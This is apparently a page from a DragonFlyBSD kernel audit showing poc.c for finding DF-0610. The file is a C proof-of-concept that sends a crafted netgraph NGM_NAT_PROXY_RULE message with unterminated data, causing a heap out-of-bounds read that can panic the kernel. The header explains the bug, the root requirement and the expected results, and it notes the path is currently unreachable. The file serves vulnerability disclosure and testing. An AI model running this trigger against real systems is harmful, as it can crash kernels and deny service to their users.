โฌข DragonFlyBSD Kernel Audit
DF-0610 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-0610 โ€” PoC trigger for NGM_NAT_PROXY_RULE heap OOB read.
 *
 * Sends a NGM_NAT_PROXY_RULE netgraph control message whose data area is
 * filled with NON-NUL bytes and whose arglen matches the sent length (>= 6).
 * In the vulnerable ng_nat.c (lines 643-654) the handler does:
 *
 *	char *cmd = (char *)msg->data;
 *	if (msg->header.arglen < 6) { error = EINVAL; break; }
 *	if (LibAliasProxyRule(priv->lib, cmd) != 0)   // <-- treats cmd as C string
 *		error = ENOMEM;
 *
 * LibAliasProxyRule() walks cmd looking for a terminating NUL.  The wire
 * buffer is exactly arglen bytes with no guaranteed NUL, so the walk reads
 * past the allocation (heap OOB read).  If it crosses into an unmapped page
 * the kernel faults and panics (local DoS).
 *
 * LATENT on the current DragonFlyBSD master tree: the netgraph7_nat module
 * CANNOT be compiled or loaded because two of its required source
 * dependencies are absent from sys/ itself:
 *   - sys/netinet/libalias/  (alias.c, alias_db.c, alias_mod.c,
 *                             alias_proxy.c, alias_util.c)  -- dir missing
 *   - m_megapullup()         (referenced at ng_nat.c:692)     -- undefined
 * So `kldload ng_nat` fails with "No such file or directory" and the
 * trigger path is unreachable at runtime.  This PoC is source-only and
 * documents the exact wire message that would fire the bug the moment
 * libalias / m_megapullup are reintroduced.
 *
 * Preconditions (when the module is buildable):
 *   - root (ngc_attach is gated by SYSCAP_RESTRICTEDROOT at
 *     sys/netgraph7/socket/ng_socket.c:182-184)
 *   - a configured ng_nat node named "nat" in the netgraph graph
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc            # as root, with ng_nat loaded + "nat" node present
 * Expected (bug present): kernel panic in LibAliasProxyRule (fault on OOB),
 *                         OR syscall returns success (latent corruption).
 * Expected (fixed):       syscall returns EINVAL/ENOMEM cleanly, no panic.
 */

#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

/* AF_NETGRAPH โ€” sys/sys/socket.h:216 */
#ifndef AF_NETGRAPH
#define AF_NETGRAPH	32
#endif

/* Netgraph control socket type โ€” sys/netgraph7/socket/ng_socket.h */
#define NG_CONTROL	2

/* NGM_VERSION โ€” sys/netgraph7/ng_message.h */
#define NGM_VERSION	1

/* NGM_NAT_COOKIE โ€” sys/netgraph7/ng_nat.h:31 */
#define NGM_NAT_COOKIE	1107718711

/* NGM_NAT_PROXY_RULE โ€” 11th in the enum at sys/netgraph7/ng_nat.h:176-188 */
#define NGM_NAT_PROXY_RULE	11

#define NG_CMDSTRSIZ	32
#define NG_NODESIZ	32

/* struct ng_mesg โ€” sys/netgraph7/ng_message.h:69-82 (wire layout) */
struct ng_mesg {
	struct {
		unsigned char  version;
		unsigned char  spare;
		unsigned short spare2;
		unsigned int   arglen;
		unsigned int   cmd;
		unsigned int   flags;
		unsigned int   token;
		unsigned int   typecookie;
		unsigned char  cmdstr[NG_CMDSTRSIZ];
	} header;
	char data[];
};

/* struct sockaddr_ng โ€” sys/netgraph7/socket/ng_socket.h:65-71 */
struct sockaddr_ng {
	unsigned char  sg_len;
	unsigned short sg_family;
	char           sg_data[NG_NODESIZ];
};

int
main(void)
{
	int s, rc;
	/* 64 bytes of non-NUL attacker data; arglen=64 (>= 6). */
	const unsigned int arglen = 64;
	struct {
		struct ng_mesg m;
		char pad[64];
	} buf;
	struct sockaddr_ng dst;

	if (getuid() != 0) {
		fprintf(stderr, "DF-0610: must run as root (ngc_attach needs "
				"SYSCAP_RESTRICTEDROOT)\n");
	}

	memset(&buf, 0, sizeof(buf));
	/* Fill the data area with NON-NUL bytes so strlen() walks past it. */
	memset(buf.m.data, 'A', arglen);
	buf.m.header.version   = NGM_VERSION;
	buf.m.header.arglen    = arglen;
	buf.m.header.cmd       = NGM_NAT_PROXY_RULE;
	buf.m.header.typecookie= NGM_NAT_COOKIE;
	buf.m.header.token     = 0x44463631U;		/* 'DF0610' truncated */

	s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (s < 0) {
		perror("socket(AF_NETGRAPH,NG_CONTROL)");
		fprintf(stderr,
		    "NOTE: AF_NETGRAPH requires the netgraph7 socket module; "
		    "if this fails the netgraph stack is not loaded.\n");
		return 1;
	}

	memset(&dst, 0, sizeof(dst));
	dst.sg_family = AF_NETGRAPH;
	dst.sg_len    = sizeof(dst);
	strncpy(dst.sg_data, "nat", sizeof(dst.sg_data) - 1);

	/*
	 * Send the NGM_NAT_PROXY_RULE control message to the "nat" node.
	 * On the vulnerable path this causes LibAliasProxyRule() to walk
	 * past msg->data (heap OOB read).  On a fixed kernel the handler
	 * kmalloc()s its own arglen+1 buffer, bcopy()s, force-NULs, and
	 * passes that -- so no OOB.
	 */
	rc = sendto(s, &buf.m, sizeof(buf.m.header) + arglen, 0,
	    (struct sockaddr *)&dst, sizeof(dst));
	if (rc < 0) {
		fprintf(stderr, "sendto: %s (errno=%d)\n", strerror(errno), errno);
		fprintf(stderr,
		    "If errno=ENOENT/ENODEV the 'nat' node does not exist "
		    "(ng_nat module not loaded / not buildable on this tree).\n");
		close(s);
		return 2;
	}

	printf("DF-0610: sent NGM_NAT_PROXY_RULE arglen=%u (all non-NUL) "
	    "to node 'nat'\n", arglen);
	printf("On a vulnerable kernel: OOB read in LibAliasProxyRule "
	    "(panic if walk hits unmapped page).\n");
	close(s);
	return 0;
}